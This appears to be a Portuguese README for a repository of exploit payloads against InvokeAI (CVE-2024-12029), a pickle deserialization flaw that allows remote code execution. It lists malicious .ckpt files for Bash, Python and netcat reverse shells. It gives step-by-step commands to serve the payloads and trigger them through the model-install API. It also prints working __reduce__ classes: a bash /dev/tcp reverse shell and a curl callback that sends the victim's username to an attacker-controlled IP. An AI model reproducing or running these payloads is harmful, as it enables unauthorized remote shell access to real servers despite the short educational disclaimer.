Alternative-Approach-Reverse-Shell-Callback-Test-InvokeAI-RCE

Abordagem Alternativa: Reverse Shell & Teste de Callback

Visão Geral

Este repositório contém abordagens alternativas de payload para a vulnerabilidade InvokeAI RCE (CVE-2024-12029) quando a injeção de chave SSH falha. Os payloads são projetados para testar se a desserialização pickle está realmente ocorrendo e fornecer métodos de acesso alternativos.

Declaração do Problema

Quando payloads de injeção de chave SSH são entregues com sucesso (Status 201) mas o acesso SSH ainda requer senha, isso indica uma das seguintes opções:

1. A desserialização pickle não está ocorrendo
2. Os comandos estão sendo bloqueados/sandboxed
3. O método de execução é incompatível

Solução: Payloads Alternativos

📁 Arquivos de Payload

Payloads de Reverse Shell

• payload_reverse_bash.ckpt (89 bytes) - Reverse shell em Bash
• payload_reverse_python.ckpt (267 bytes) - Reverse shell em Python
• payload_reverse_nc.ckpt (70 bytes) - Reverse shell com Netcat

Payloads de Teste e Verificação

• payload_callback_test.ckpt (115 bytes) - Callback HTTP para verificar desserialização
• payload_test.ckpt (90 bytes) - Teste simples de criação de arquivo
• payload_alt_exec.ckpt (223 bytes) - Método alternativo de execução

Payloads SSH (para referência)

• payload_ssh_simple.ckpt (271 bytes) - Injeção de chave SSH compatível com Linux

🛠️ Scripts de Teste

Scripts de Teste no Kali

• kali_reverse_test.py - Suíte de testes abrangente

Geradores de Payload

• reverse_shell_payload.py - Gera payloads de reverse shell

🚀 Uso Rápido

1. Iniciar Servidor de Payload

python web_server.py --port 8000

2. Testar Callback (Recomendado Primeiro)

# Copy kali_reverse_test.py to Kali and run:
python3 kali_reverse_test.py
# Choose option 1 to test callback

3. Testar Reverse Shell

# Start listener on Kali:
nc -lvnp 4444

# Send reverse shell payload:
python3 -c "import requests; requests.post('http://192.168.117.218:9090/api/v2/models/install', params={'source': 'http://192.168.45.168:8000/payload_reverse_bash.ckpt', 'inplace': 'true'}, json={})"

4. Testar Execução Simples

# Test basic command execution:
python3 -c "import requests; requests.post('http://192.168.117.218:9090/api/v2/models/install', params={'source': 'http://192.168.45.168:8000/payload_test.ckpt', 'inplace': 'true'}, json={})"

# Verify file creation:
ssh [email protected] 'cat /tmp/payload_test.txt'

📊 Interpretação dos Resultados dos Testes

✅ Sucesso no Teste de Callback

• O que significa: A desserialização pickle está funcionando
• Próximo passo: Tente reverse shell ou payloads SSH alternativos
• Verifique: Logs do servidor web para callback HTTP

✅ Sucesso no Reverse Shell

• O que significa: Comandos são executados e o acesso à rede funciona
• Resultado: Acesso direto ao shell via listener netcat
• Próximo passo: Use o reverse shell para exploração adicional

✅ Arquivo de Teste Criado

• O que significa: A execução básica de comandos funciona
• Próximo passo: Tente métodos alternativos de injeção SSH
• Verifique: /tmp/payload_test.txt no alvo

Payload de Callback

class CallbackTestPayload:
    def __reduce__(self):
        import os
        command = 'curl "http://192.168.45.168:8000/callback?success=1&user=$(whoami)"'
        return (os.system, (command,))

Payload de Reverse Shell

class ReverseShellPayload:
    def __reduce__(self):
        import os
        command = f'bash -c "bash -i >& /dev/tcp/192.168.45.168/4444 0>&1"'
        return (os.system, (command,))

Payload de Teste

class TestPayload:
    def __reduce__(self):
        import os
        return (os.system, ('echo "PAYLOAD_EXECUTED_$(date)" > /tmp/payload_test.txt',))

📚 Referências

• CVE-2024-12029: Execução Remota de Código no InvokeAI
• Desserialização Insegura do PyTorch: Vulnerabilidade torch.load()
• Pickle reduce: Exploração de serialização de objetos Python

⚠️ Aviso Legal

Este repositório é apenas para fins educacionais e de teste de segurança autorizado. Os usuários são responsáveis por garantir que possuem a devida autorização antes de testar qualquer sistema.